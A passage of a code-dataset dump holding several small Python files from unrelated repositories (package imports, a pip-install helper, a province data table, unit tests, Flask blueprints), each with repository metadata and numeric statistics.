] | null | null | null | /home/runner/.cache/pip/pool/98/95/de/cd35c351b76e842c151807c0047a440115a19e3f212d6f44394deb9fce | 96 | 96 | 0.895833 | 9 | 96 | 9.555556 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.447917 | 0 | 96 | 1 | 96 | 96 | 0.447917 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
f21488edc6a4374d7ee2e140fc8a48624089603a | 101 | py | Python | install_depends.py | xllajck/OpenFarmerOnAnchor | 4935a3a22a31b9696287b15f518979bac1c90392 | [
"Apache-2.0"
] | 19 | 2022-01-09T08:05:23.000Z | 2022-03-21T05:47:07.000Z | install_depends.py | xllajck/OpenFarmerOnAnchor | 4935a3a22a31b9696287b15f518979bac1c90392 | [
"Apache-2.0"
] | 2 | 2022-01-26T01:45:56.000Z | 2022-01-27T13:25:42.000Z | install_depends.py | xllajck/OpenFarmerOnAnchor | 4935a3a22a31b9696287b15f518979bac1c90392 | [
"Apache-2.0"
] | 15 | 2022-01-17T00:50:25.000Z | 2022-02-27T00:20:45.000Z | import os
os.system("python -m pip install -r requirements.txt -i https://pypi.douban.com/simple/")
| 25.25 | 89 | 0.732673 | 17 | 101 | 4.352941 | 0.941176 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.108911 | 101 | 3 | 90 | 33.666667 | 0.822222 | 0 | 0 | 0 | 0 | 0.5 | 0.752475 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
1ee8b983d612df6f34778bf4e8fc76fc330f1e1d | 19 | py | Python | __init__.py | congzlwag/spook | 0c728086b811ce829c6226e0a9a10a350772ec15 | [
"MIT"
] | null | null | null | __init__.py | congzlwag/spook | 0c728086b811ce829c6226e0a9a10a350772ec15 | [
"MIT"
] | null | null | null | __init__.py | congzlwag/spook | 0c728086b811ce829c6226e0a9a10a350772ec15 | [
"MIT"
] | null | null | null | from spook import * | 19 | 19 | 0.789474 | 3 | 19 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.157895 | 19 | 1 | 19 | 19 | 0.9375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
4827a4665bc8e788620aaca66c56a3b0fc4f41a5 | 149,660 | py | Python | data.py | InLefter/Air_In_China | 1a6c59a1b2576ad693b20633bd81573ebe1dbcde | [
"MIT"
] | 28 | 2017-03-14T12:46:54.000Z | 2021-09-17T03:02:32.000Z | data.py | InLefter/Air_In_China | 1a6c59a1b2576ad693b20633bd81573ebe1dbcde | [
"MIT"
] | null | null | null | data.py | InLefter/Air_In_China | 1a6c59a1b2576ad693b20633bd81573ebe1dbcde | [
"MIT"
] | 12 | 2017-04-10T16:29:19.000Z | 2022-01-10T15:16:09.000Z | # -*- coding: utf-8 -*-
# data
provinceList_json = '{"1": ["北京","beijing"],"2": ["天津","tianjin"],"3": ["河北","hebei"],"4": ["山西","shanxi"],"5": ["内蒙古","neimenggu"],"6": ["辽宁","liaoning"],"7": ["吉林","jilin"],"8": ["黑龙江","heilongjiang"],"9": ["上海","shanghai"],"10": ["江苏","jiangsu"],"11": ["浙江","zhejiang"],"12": ["安徽",... | 14,966 | 143,056 | 0.62038 | 15,451 | 149,660 | 6.008802 | 0.38017 | 0.015381 | 0.00754 | 0.001206 | 0.003274 | 0 | 0 | 0 | 0 | 0 | 0 | 0.190669 | 0.08381 | 149,660 | 9 | 143,057 | 16,628.888889 | 0.486431 | 0.000174 | 0 | 0 | 0 | 0.666667 | 0.981473 | 0.003288 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
484a5fa47ad28c61cfbe87e906d83b2270615649 | 50 | py | Python | build/lib.linux-x86_64-2.7/error_generator/strategies/typos/typo_butterfingers/__init__.py | BigDaMa/error-generator | 7d8949fc8fb00b6285c7c220dbda7451dc152e44 | [
"Apache-2.0"
] | 2 | 2018-11-11T07:52:51.000Z | 2019-06-19T05:44:55.000Z | build/lib.linux-x86_64-2.7/error_generator/strategies/typos/typo_butterfingers/__init__.py | BigDaMa/error-generator | 7d8949fc8fb00b6285c7c220dbda7451dc152e44 | [
"Apache-2.0"
] | 5 | 2018-07-20T15:08:23.000Z | 2018-11-21T13:18:01.000Z | error_generator/strategies/typos/typo_butterfingers/__init__.py | BigDaMa/error-generator | 7d8949fc8fb00b6285c7c220dbda7451dc152e44 | [
"Apache-2.0"
] | 1 | 2020-11-25T15:16:16.000Z | 2020-11-25T15:16:16.000Z | from .typo_butterfingers import Typo_Butterfingers | 50 | 50 | 0.92 | 6 | 50 | 7.333333 | 0.666667 | 0.772727 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.06 | 50 | 1 | 50 | 50 | 0.93617 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
486eb2ecd158230f371445d8500c2137d9155998 | 198 | py | Python | python/testData/inspections/PyArgumentListInspection/slice.py | teddywest32/intellij-community | e0268d7a1da1d318b441001448cdd3e8929b2f29 | [
"Apache-2.0"
] | null | null | null | python/testData/inspections/PyArgumentListInspection/slice.py | teddywest32/intellij-community | e0268d7a1da1d318b441001448cdd3e8929b2f29 | [
"Apache-2.0"
] | 11 | 2017-02-27T22:35:32.000Z | 2021-12-24T08:07:40.000Z | python/testData/inspections/PyArgumentListInspection/slice.py | teddywest32/intellij-community | e0268d7a1da1d318b441001448cdd3e8929b2f29 | [
"Apache-2.0"
] | 1 | 2020-11-27T10:36:50.000Z | 2020-11-27T10:36:50.000Z | print(slice(<warning descr="Parameter 'start' unfilled">)</warning>)
print(slice(1))
print(slice(1, 2))
print(slice(1, 2, 3))
print(slice(1, 2, 3, <warning descr="Unexpected argument">4</warning>))
| 33 | 71 | 0.69697 | 31 | 198 | 4.451613 | 0.419355 | 0.362319 | 0.318841 | 0.26087 | 0.188406 | 0 | 0 | 0 | 0 | 0 | 0 | 0.054945 | 0.080808 | 198 | 5 | 72 | 39.6 | 0.703297 | 0 | 0 | 0 | 0 | 0 | 0.227273 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 1 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
6f8e52271524c13004174d3e56abec7e48650113 | 295 | py | Python | src/fecc_exceptions/ParserException.py | castor91/fecc | bc46059c0d7a428d15b95050b70dec374b4bea28 | [
"MIT"
] | 1 | 2018-02-04T14:48:15.000Z | 2018-02-04T14:48:15.000Z | src/fecc_exceptions/ParserException.py | castor91/fecc | bc46059c0d7a428d15b95050b70dec374b4bea28 | [
"MIT"
] | null | null | null | src/fecc_exceptions/ParserException.py | castor91/fecc | bc46059c0d7a428d15b95050b70dec374b4bea28 | [
"MIT"
] | null | null | null | class ParserException(Exception):
def __init__(self, expected, token):
self._expected = expected
self._token = token
def __str__(self):
return '{} error: expected {} but {} found.'.format(self.__class__.__name__, self._expected, self._token.__class__.__name__)
| 32.777778 | 132 | 0.681356 | 32 | 295 | 5.40625 | 0.46875 | 0.208092 | 0.196532 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.19661 | 295 | 8 | 133 | 36.875 | 0.729958 | 0 | 0 | 0 | 0 | 0 | 0.118644 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.166667 | 0.666667 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
6fa0225860d7785608e6d46bc86244c69c73b6a2 | 168 | py | Python | networking_p4/db/migration/models/head.py | osinstom/networking-p4 | 3b82025090b6b2bf1e9faa58492d13ed1da6c34f | [
"Apache-2.0"
] | 2 | 2019-12-26T08:53:25.000Z | 2020-05-13T11:53:51.000Z | networking_p4/db/migration/models/head.py | osinstom/networking-dppx | 3b82025090b6b2bf1e9faa58492d13ed1da6c34f | [
"Apache-2.0"
] | null | null | null | networking_p4/db/migration/models/head.py | osinstom/networking-dppx | 3b82025090b6b2bf1e9faa58492d13ed1da6c34f | [
"Apache-2.0"
] | null | null | null | from neutron_lib.db import model_base
# pylint: disable=unused-import
import networking_p4.db.models # noqa
def get_metadata():
return model_base.BASEV2.metadata | 21 | 37 | 0.797619 | 25 | 168 | 5.16 | 0.76 | 0.139535 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013605 | 0.125 | 168 | 8 | 38 | 21 | 0.863946 | 0.202381 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | true | 0 | 0.5 | 0.25 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 6 |
6fa756e764bdf994d6aadf123670d20358c74546 | 133 | py | Python | mir3/modules/info_submodule.py | pymir3/pymir3 | c1bcca66a5ef1ff0ebd6373e3820e72dee6b0b70 | [
"MIT"
] | 12 | 2015-08-03T12:41:11.000Z | 2020-08-18T07:55:23.000Z | mir3/modules/info_submodule.py | pymir3/pymir3 | c1bcca66a5ef1ff0ebd6373e3820e72dee6b0b70 | [
"MIT"
] | 1 | 2015-05-27T18:47:20.000Z | 2015-05-27T18:47:20.000Z | mir3/modules/info_submodule.py | pymir3/pymir3 | c1bcca66a5ef1ff0ebd6373e3820e72dee6b0b70 | [
"MIT"
] | 3 | 2016-03-18T03:30:02.000Z | 2018-07-05T02:29:16.000Z | import mir3.module
class Info(mir3.module.Module):
def get_help(self):
return """print informations about mir3 files"""
| 22.166667 | 56 | 0.699248 | 18 | 133 | 5.111111 | 0.777778 | 0.217391 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.027778 | 0.18797 | 133 | 5 | 57 | 26.6 | 0.824074 | 0 | 0 | 0 | 0 | 0 | 0.263158 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0.25 | 1 | 0.25 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
b5083171790378fa8763a5efd211ddc0bb27045c | 75 | py | Python | ants/contrib/sampling/__init__.py | xemio/ANTsPy | ef610318e217bb04d3850d480c2e51df695d56c0 | [
"Apache-2.0"
] | 338 | 2017-09-01T06:47:54.000Z | 2022-03-31T12:11:46.000Z | ants/contrib/sampling/__init__.py | xemio/ANTsPy | ef610318e217bb04d3850d480c2e51df695d56c0 | [
"Apache-2.0"
] | 306 | 2017-08-30T20:05:07.000Z | 2022-03-31T16:20:44.000Z | ants/contrib/sampling/__init__.py | xemio/ANTsPy | ef610318e217bb04d3850d480c2e51df695d56c0 | [
"Apache-2.0"
] | 115 | 2017-09-08T11:53:17.000Z | 2022-03-27T05:53:39.000Z |
from .transforms import *
from .affine2d import *
from .affine3d import *
| 15 | 25 | 0.746667 | 9 | 75 | 6.222222 | 0.555556 | 0.357143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.032258 | 0.173333 | 75 | 4 | 26 | 18.75 | 0.870968 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
82ea493727d17ea3b6c246df81ffa4e40e05c625 | 123 | py | Python | nameyourapp/api/routes.py | wannadrunk/python-flask-boilerplate | 01184e9636a258156a806c42d60a4d85c7c1a5d1 | [
"BSD-3-Clause"
] | 4 | 2020-01-03T20:32:47.000Z | 2020-01-06T11:04:08.000Z | nameyourapp/api/routes.py | wannadrunk/python-flask-boilerplate | 01184e9636a258156a806c42d60a4d85c7c1a5d1 | [
"BSD-3-Clause"
] | null | null | null | nameyourapp/api/routes.py | wannadrunk/python-flask-boilerplate | 01184e9636a258156a806c42d60a4d85c7c1a5d1 | [
"BSD-3-Clause"
] | 1 | 2021-07-04T10:05:30.000Z | 2021-07-04T10:05:30.000Z | from flask import Blueprint
api = Blueprint('api', __name__)
@api.route('/')
def api_main():
return 'API Blueprint'
| 13.666667 | 32 | 0.682927 | 16 | 123 | 4.9375 | 0.625 | 0.303797 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.170732 | 123 | 8 | 33 | 15.375 | 0.77451 | 0 | 0 | 0 | 0 | 0 | 0.138211 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0.2 | 0.6 | 0.6 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 6 |
d20ad9ecadec4e29066bd759003f7d644b198eff | 513 | py | Python | oleda/__init__.py | Banuba/oleda | e381ebf3df1a5825b145760f89445cc8d6d916dd | [
"Apache-2.0"
] | null | null | null | oleda/__init__.py | Banuba/oleda | e381ebf3df1a5825b145760f89445cc8d6d916dd | [
"Apache-2.0"
] | null | null | null | oleda/__init__.py | Banuba/oleda | e381ebf3df1a5825b145760f89445cc8d6d916dd | [
"Apache-2.0"
] | 3 | 2021-06-30T10:09:55.000Z | 2021-12-09T13:03:46.000Z | from .eda import *
from .eda_anova import *
from .eda_pairwise import *
__all__=['report', 'plot_shaps', 'print_features','interactions2x','interactions3x','corr','corr_2x','print_na','plot_na','plot_melt','plot_stats','plot_cuts','plot_qcuts','plot_ntop_categorical_values_counts','plot_ntop_categorical_values_sums','p... | 85.5 | 439 | 0.818713 | 69 | 513 | 5.507246 | 0.492754 | 0.055263 | 0.15 | 0.197368 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006036 | 0.031189 | 513 | 5 | 440 | 102.6 | 0.758551 | 0 | 0 | 0 | 0 | 0 | 0.701172 | 0.380859 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.75 | 0 | 0.75 | 0.25 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
d259ac63e2818192a1f9a126c8e76d07e4b01f80 | 11,756 | py | Python | tests/test_DataSplitters.py | shane-kercheval/oo-learning | 9e3ebe5f7460179e23f6801bc01f1114bb896dea | [
"MIT"
] | 1 | 2020-10-09T09:11:46.000Z | 2020-10-09T09:11:46.000Z | tests/test_DataSplitters.py | shane-kercheval/oo-learning | 9e3ebe5f7460179e23f6801bc01f1114bb896dea | [
"MIT"
] | 48 | 2018-04-09T01:30:31.000Z | 2021-06-13T03:25:59.000Z | tests/test_DataSplitters.py | shane-kercheval/oo-learning | 9e3ebe5f7460179e23f6801bc01f1114bb896dea | [
"MIT"
] | null | null | null | import os
import pickle
import numpy as np
from math import isclose
from oolearning import *
from tests.TestHelper import TestHelper
from tests.TimerTestCase import TimerTestCase
# noinspection SpellCheckingInspection,PyMethodMayBeStatic
class DataSplittersTests(TimerTestCase):
@classmethod
def setUpClass(c... | 56.792271 | 196 | 0.697601 | 1,492 | 11,756 | 5.243298 | 0.11126 | 0.060463 | 0.03886 | 0.053177 | 0.816055 | 0.800844 | 0.777195 | 0.738975 | 0.694618 | 0.694618 | 0 | 0.010938 | 0.206788 | 11,756 | 206 | 197 | 57.067961 | 0.827989 | 0.122746 | 0 | 0.529412 | 0 | 0 | 0.069009 | 0.057816 | 0 | 0 | 0 | 0 | 0.490196 | 1 | 0.039216 | false | 0.006536 | 0.045752 | 0 | 0.091503 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
964746d68b3632406956fb2f67371361a1d536ec | 69 | py | Python | py_tdlib/constructors/secret_chat_state_ready.py | Mr-TelegramBot/python-tdlib | 2e2d21a742ebcd439971a32357f2d0abd0ce61eb | [
"MIT"
] | 24 | 2018-10-05T13:04:30.000Z | 2020-05-12T08:45:34.000Z | py_tdlib/constructors/secret_chat_state_ready.py | MrMahdi313/python-tdlib | 2e2d21a742ebcd439971a32357f2d0abd0ce61eb | [
"MIT"
] | 3 | 2019-06-26T07:20:20.000Z | 2021-05-24T13:06:56.000Z | py_tdlib/constructors/secret_chat_state_ready.py | MrMahdi313/python-tdlib | 2e2d21a742ebcd439971a32357f2d0abd0ce61eb | [
"MIT"
] | 5 | 2018-10-05T14:29:28.000Z | 2020-08-11T15:04:10.000Z | from ..factory import Type
class secretChatStateReady(Type):
pass
| 11.5 | 33 | 0.782609 | 8 | 69 | 6.75 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.144928 | 69 | 5 | 34 | 13.8 | 0.915254 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
969a45ce768c17fbedbef1c80c516d76d43ff05e | 414 | py | Python | social_auth/tests/__init__.py | NorthIsUp/django-social-auth | 9afedc8ea777b32611d43c1c367babe2e3b18a90 | [
"BSD-2-Clause",
"BSD-3-Clause"
] | 11 | 2015-03-31T07:25:12.000Z | 2021-04-02T02:42:27.000Z | social_auth/tests/__init__.py | JohnieLee/django-social-auth | de36265a4799c435751d9af42ddf6fe7e7a90e0a | [
"BSD-2-Clause",
"BSD-3-Clause"
] | 8 | 2020-03-24T17:11:49.000Z | 2022-01-13T01:18:11.000Z | social_auth/tests/__init__.py | JohnieLee/django-social-auth | de36265a4799c435751d9af42ddf6fe7e7a90e0a | [
"BSD-2-Clause",
"BSD-3-Clause"
] | 3 | 2015-06-26T07:35:23.000Z | 2021-05-03T15:46:02.000Z | from social_auth.utils import setting
if setting('SOCIAL_AUTH_TEST_TWITTER', True):
from social_auth.tests.twitter import *
if setting('SOCIAL_AUTH_TEST_FACEBOOK', True):
from social_auth.tests.facebook import *
if setting('SOCIAL_AUTH_TEST_GOOGLE', True):
from social_auth.tests.google import *
if sett... | 29.571429 | 51 | 0.785024 | 58 | 414 | 5.310345 | 0.241379 | 0.292208 | 0.227273 | 0.246753 | 0.655844 | 0.282468 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125604 | 414 | 14 | 52 | 29.571429 | 0.850829 | 0 | 0 | 0 | 0 | 0 | 0.245783 | 0.245783 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.555556 | 0 | 0.555556 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
969b1f651664b7f0426eaea97d0c70951eea55ed | 108 | py | Python | npnn/__init__.py | jinyeom/npnn | f7a465a5a1bb912e3481e6e77ad311e3752d281d | [
"MIT"
] | null | null | null | npnn/__init__.py | jinyeom/npnn | f7a465a5a1bb912e3481e6e77ad311e3752d281d | [
"MIT"
] | null | null | null | npnn/__init__.py | jinyeom/npnn | f7a465a5a1bb912e3481e6e77ad311e3752d281d | [
"MIT"
] | null | null | null | from .module import *
from .functional import *
from .dense import *
from .rnn import *
from .mann import *
| 18 | 25 | 0.722222 | 15 | 108 | 5.2 | 0.466667 | 0.512821 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.185185 | 108 | 5 | 26 | 21.6 | 0.886364 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
969d71dc660db6c279b6b1fa581b5309cda014b3 | 47 | py | Python | tests/clustering/__init__.py | jharrymoore/Icolos | c60cc00c34208ab7011d41d52a74651763673e7a | [
"Apache-2.0"
] | 11 | 2022-01-30T14:36:13.000Z | 2022-03-22T09:40:57.000Z | tests/clustering/__init__.py | jharrymoore/Icolos | c60cc00c34208ab7011d41d52a74651763673e7a | [
"Apache-2.0"
] | 2 | 2022-03-23T07:56:49.000Z | 2022-03-24T12:01:42.000Z | tests/clustering/__init__.py | jharrymoore/Icolos | c60cc00c34208ab7011d41d52a74651763673e7a | [
"Apache-2.0"
] | 8 | 2022-01-28T10:32:31.000Z | 2022-03-22T09:40:59.000Z | from tests.clustering.test_clustering import *
| 23.5 | 46 | 0.851064 | 6 | 47 | 6.5 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.085106 | 47 | 1 | 47 | 47 | 0.906977 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
96a00d7b7dff95665b11de173c523f2d4bdc7f5c | 78 | py | Python | gym_asset_allocation/envs/__init__.py | acbraith/gym-asset_allocation | 7201687abbf67ee7dc770ebd4005ec40d781425a | [
"MIT"
] | 2 | 2018-04-28T11:03:02.000Z | 2018-11-30T07:46:13.000Z | gym_asset_allocation/envs/__init__.py | acbraith/gym-asset_allocation | 7201687abbf67ee7dc770ebd4005ec40d781425a | [
"MIT"
] | null | null | null | gym_asset_allocation/envs/__init__.py | acbraith/gym-asset_allocation | 7201687abbf67ee7dc770ebd4005ec40d781425a | [
"MIT"
] | 1 | 2018-11-30T07:46:16.000Z | 2018-11-30T07:46:16.000Z | from gym_asset_allocation.envs.asset_allocation_env import AssetAllocationEnv
| 39 | 77 | 0.923077 | 10 | 78 | 6.8 | 0.8 | 0.441176 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.051282 | 78 | 1 | 78 | 78 | 0.918919 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
73c7375986acb37c4cb71d4d52846d9867637b03 | 26 | py | Python | PIPS-0.3.0/PIPS/utils/__init__.py | SterlingYM/PIPS | d8168c105013e35fe2c027ff8725188f298fd0ae | [
"MIT"
] | 2 | 2020-11-12T03:32:29.000Z | 2021-01-07T17:09:40.000Z | PIPS-0.3.0/PIPS/utils/__init__.py | SterlingYM/PIPS | d8168c105013e35fe2c027ff8725188f298fd0ae | [
"MIT"
] | 23 | 2020-10-28T06:08:42.000Z | 2021-03-02T06:54:38.000Z | PIPS-0.3.0/PIPS/utils/__init__.py | SterlingYM/PIPS | d8168c105013e35fe2c027ff8725188f298fd0ae | [
"MIT"
] | null | null | null | from .connect_LPP import * | 26 | 26 | 0.807692 | 4 | 26 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.115385 | 26 | 1 | 26 | 26 | 0.869565 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
73e56c9f430e2d625ffe3585eecfd8641eb06a45 | 118 | py | Python | app/public/__init__.py | Trastejant/Hermes | a9d946e0c73ccbe33841b7dde1a9cf5101c3a0e3 | [
"MIT"
] | 1 | 2020-06-12T13:01:42.000Z | 2020-06-12T13:01:42.000Z | app/public/__init__.py | Trastejant/Hermes | a9d946e0c73ccbe33841b7dde1a9cf5101c3a0e3 | [
"MIT"
] | null | null | null | app/public/__init__.py | Trastejant/Hermes | a9d946e0c73ccbe33841b7dde1a9cf5101c3a0e3 | [
"MIT"
] | null | null | null | from flask import Blueprint
public = Blueprint('public', __name__, template_folder='templates')
